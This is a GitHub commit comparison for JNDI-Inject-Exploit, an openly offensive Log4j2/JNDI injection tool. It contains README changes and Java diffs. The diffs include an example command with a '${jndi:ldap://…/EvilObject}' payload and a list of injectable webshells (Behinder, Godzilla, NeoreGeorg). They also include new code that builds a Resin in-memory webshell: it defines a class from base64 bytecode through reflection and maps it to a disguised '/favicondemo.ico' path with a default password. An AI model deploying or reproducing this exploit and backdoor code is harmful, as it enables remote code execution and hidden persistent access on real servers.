Compare commits

...

10 Commits

Author SHA1 Message Date
exp1orer
5b213423a7 Update README.md 2022-01-26 15:17:30 +08:00
SearchNull
0736ae2c15 Update 2022-01-19 15:34:23 +08:00
SearchNull
fb40c9efbb Add MemoryShell 2022-01-19 15:29:29 +08:00
SearchNull
ae4a98870e Merge remote-tracking branch 'origin/master' 2022-01-19 15:13:07 +08:00
SearchNull
8dc96170fa Update README.md 2022-01-19 15:12:48 +08:00
SearchNull
eb53f4ee50 Merge branch 'v0.3-dev' 2022-01-19 15:09:56 +08:00
SearchNull
4c0f310c8e Update README.md 2022-01-19 15:08:35 +08:00
SearchNull
336bf32aa4 Update README.md 2022-01-19 14:50:10 +08:00
SearchNull
d1dc6e42bf add ShortMemShell and resin middleware 2022-01-19 11:50:10 +08:00
exp1orer
d20fd45a3d Update README.md 2022-01-02 15:21:15 +08:00
6 changed files with 86 additions and 16 deletions

View File

@@ -1,5 +1,7 @@
# JNDI-Inject-Exploit # JNDI-Inject-Exploit
![JNDI-Inject-Exploit](https://socialify.git.ci/exp1orer/JNDI-Inject-Exploit/image?description=1&font=Inter&forks=1&issues=1&language=1&owner=1&pattern=Plus&stargazers=1&theme=Light)
## 免责声明 ## 免责声明
本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。** 本工具仅面向**合法授权的企业安全测试**,如您需测试本工具的可用性请自行搭建靶机环境,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。**
@@ -12,6 +14,14 @@
## ChangeLog ## ChangeLog
**0.3 Version**
- 新增Tomcat一句话内存马
- 新增Resin一句话内存马
- 新增漏洞环境
***
**v0.2 Version** **v0.2 Version**
- 修复已知bug - 修复已知bug
@@ -25,6 +35,19 @@
- 回显命令执行 - 回显命令执行
- 内存马注入 - 内存马注入
## Support
- 本地gadget探测
- 回显命令执行
- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马
- Tomcat/Resin 一句话内存马
## Test
漏洞环境请转至 v0.3 Version Releases处下载运行 `springWithLog4j-1.0-SNAPSHOT.jar` 会在8190端口运行服务访问首页的超链接后的id参数中存在 `Log4j2`漏洞。
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20220119150756.png)
## Usage ## Usage
```shell ```shell
@@ -101,7 +124,7 @@ EnableHttpLog=False
## Example ## Example
**文件内容** **文件内容如果是https的话需要在Host头中添加https://**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211229105716.png) ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211229105716.png)
@@ -119,7 +142,7 @@ java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png) ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142236.png)
**可利用Gadget信息如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行如名称中带有 `BehinderFilter` 、`GodzillaFilter` 字样则表示支持注入冰蝎内存马或哥斯拉内存马** **可利用Gadget信息如名称中带有 `[TomcatEcho]` 等字样则表示该Gadget可利用且能够回显命令执行如名称中带有 `TomcatBehinderFilter` 、`TomcatGodzillaFilter` 字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)**
![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png) ![](https://searchnull-image.oss-cn-shenzhen.aliyuncs.com/20211226142317.png)

View File

@@ -89,12 +89,15 @@ public class StartUp {
String[] proxies = options.get("proxy").split(":", 2); String[] proxies = options.get("proxy").split(":", 2);
proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1]))); proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxies[0], Integer.parseInt(proxies[1])));
} }
memoryShell.add("BehinderFilter"); memoryShell.add("TomcatBehinderFilter");
memoryShell.add("BehinderServlet"); memoryShell.add("TomcatBehinderServlet");
memoryShell.add("GodzillaFilter"); memoryShell.add("TomcatGodzillaFilter");
memoryShell.add("GodzillaServlet"); memoryShell.add("TomcatGodzillaServlet");
memoryShell.add("NeoreGeorgFilter"); memoryShell.add("TomcatNeoreGeorgFilter");
memoryShell.add("NeoreGeorgServlet"); memoryShell.add("TomcatNeoreGeorgServlet");
memoryShell.add("TomcatShortMemShellFilter");
memoryShell.add("TomcatShortMemShellServlet");
memoryShell.add("ResinShortMemShellServlet");
try { try {
Class.forName("io.github.exp1orer.util.Config"); Class.forName("io.github.exp1orer.util.Config");
@@ -107,9 +110,9 @@ public class StartUp {
* @description: 打印帮助信息 * @description: 打印帮助信息
*/ */
private static void printUsage() { private static void printUsage() {
System.out.println("Log4jShell Author:SearchNull\n"); System.out.println("JNDI-Inject-Exploit Author:SearchNull\n");
System.out.println("Usage: \n"); System.out.println("Usage: \n");
System.out.println("java -jar JNDI-Inject-Exploit-0.1-all.jar [options]\n" + System.out.println("java -jar JNDI-Inject-Exploit-[version]-all.jar [options]\n" +
"\n" + "\n" +
"Options:\n" + "Options:\n" +
" ip LDAP Server IP如VPS则指定公网IP\n" + " ip LDAP Server IP如VPS则指定公网IP\n" +
@@ -119,8 +122,8 @@ public class StartUp {
" method 指定HTTP请求方法默认为GET\n" + " method 指定HTTP请求方法默认为GET\n" +
" headers 指定HTTP请求头以分号分隔多个请求头以=分隔key,value\n" + " headers 指定HTTP请求头以分号分隔多个请求头以=分隔key,value\n" +
" body 指定HTTP请求体内容\n" + " body 指定HTTP请求体内容\n" +
" proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S"); " proxy 指定HTTP请求使用的代理eg: 127.0.0.1:8080, 只支持Http/S\n");
System.out.println("Example: java -jar Log4j2Shell-0.1-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\""); System.out.println("Example: java -jar JNDI-Inject-Exploit-0.3-all.jar ip=\"192.168.9.176\" url=\"http://192.168.9.120:8190/log?id=$%7bjndi:ldap://192.168.9.176:1389/EvilObject%7d\"");
} }
/** /**
@@ -283,7 +286,6 @@ public class StartUp {
* @author: SearchNull * @author: SearchNull
*/ */
private static boolean checkCommandEcho() { private static boolean checkCommandEcho() {
String line;
String respContent; String respContent;
String uuid = UUID.randomUUID().toString(); String uuid = UUID.randomUUID().toString();
String command = "echo " + uuid; String command = "echo " + uuid;
@@ -338,7 +340,6 @@ public class StartUp {
* @author: SearchNull * @author: SearchNull
*/ */
private static boolean runCommand(int index, String command) { private static boolean runCommand(int index, String command) {
String line;
String respContent; String respContent;
if (headers == null) { if (headers == null) {
headers = new HashMap<String, String>(); headers = new HashMap<String, String>();

View File

@@ -8,6 +8,7 @@ import java.util.Base64;
public class MemoryShell { public class MemoryShell {
private static MemoryShell instance = new MemoryShell(); private static MemoryShell instance = new MemoryShell();
private static String className = "";
private MemoryShell() {} private MemoryShell() {}
@@ -20,7 +21,11 @@ public class MemoryShell {
return ""; return "";
} }
return instance.tomcatMemoryShell(name + ".class"); if ("ResinMemShellServlet".equals(name)) {
return instance.resinMemoryShell(name);
} else {
return instance.tomcatMemoryShell(name + ".class");
}
} }
@@ -90,6 +95,46 @@ public class MemoryShell {
return code; return code;
} }
private String resinMemoryShell(String name) {
String payload = renameClass("User", name + ".class");
String code = String.format("try {\n" +
" Class si = Thread.currentThread().getContextClassLoader().loadClass(\"com.caucho.server.dispatch\" + \".ServletInvocation\");\n" +
" java.lang.reflect.Method getContextRequest = si.getMethod(\"getContextRequest\");\n" +
" javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest ) getContextRequest.invoke(null);\n" +
" com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl ) contextRequest;\n" +
" javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();" +
" java.io.PrintWriter out = rep.getWriter();" +
" javax.servlet.http.HttpSession session = req.getSession();\n" +
" String path = req.getHeader(\"path\") != null ? req.getHeader(\"path\") : \"/favicondemo.ico\";\n" +
" String pwd = req.getHeader(\"p\") != null ? req.getHeader(\"p\") : \"pass1024\";\n" +
"\n" +
" java.lang.reflect.Method getServletContext = javax.servlet.ServletRequest.class.getMethod(\"getServletContext\");\n" +
" Object web =getServletContext.invoke(contextRequest);\n" +
"\n" +
" com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp ) web;\n" +
"\n" +
" com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();\n" +
"\n" +
" String s1=\"%s\";" +
" byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());\n" +
"\n" +
" java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class, byte[].class, int.class, int.class});\n" +
" m.setAccessible(true);\n" +
" m.setAccessible(true);\n" +
" m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{\"%s\", bytes1, 0, bytes1.length});\n" +
" session.setAttribute(\"u\", pwd);\n" +
" smapping.setServletClass(\"%s\");\n" +
" smapping.setServletName(\"%s\");\n" +
" smapping.addURLPattern(path);\n" +
" web1.addServletMapping(smapping);\n" +
" out.println(\"->|Success|<-\");" +
"} catch (Exception e) {\n" +
" e.printStackTrace();\n" +
"}", payload, className, className, className);
return code;
}
private String renameClass(String prefix, String resourceName) { private String renameClass(String prefix, String resourceName) {
String bytecodes = ""; String bytecodes = "";
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
@@ -100,7 +145,8 @@ public class MemoryShell {
try { try {
CtClass ctClass = pool.makeClass(is); CtClass ctClass = pool.makeClass(is);
ctClass.setName(prefix + System.nanoTime()); className = prefix + System.nanoTime();
ctClass.setName(className);
byte[] bytes = ctClass.toBytecode(); byte[] bytes = ctClass.toBytecode();
bytecodes = Base64.getEncoder().encodeToString(bytes); bytecodes = Base64.getEncoder().encodeToString(bytes);
} catch (IOException | CannotCompileException e) { } catch (IOException | CannotCompileException e) {

Binary file not shown.

Binary file not shown.

Binary file not shown.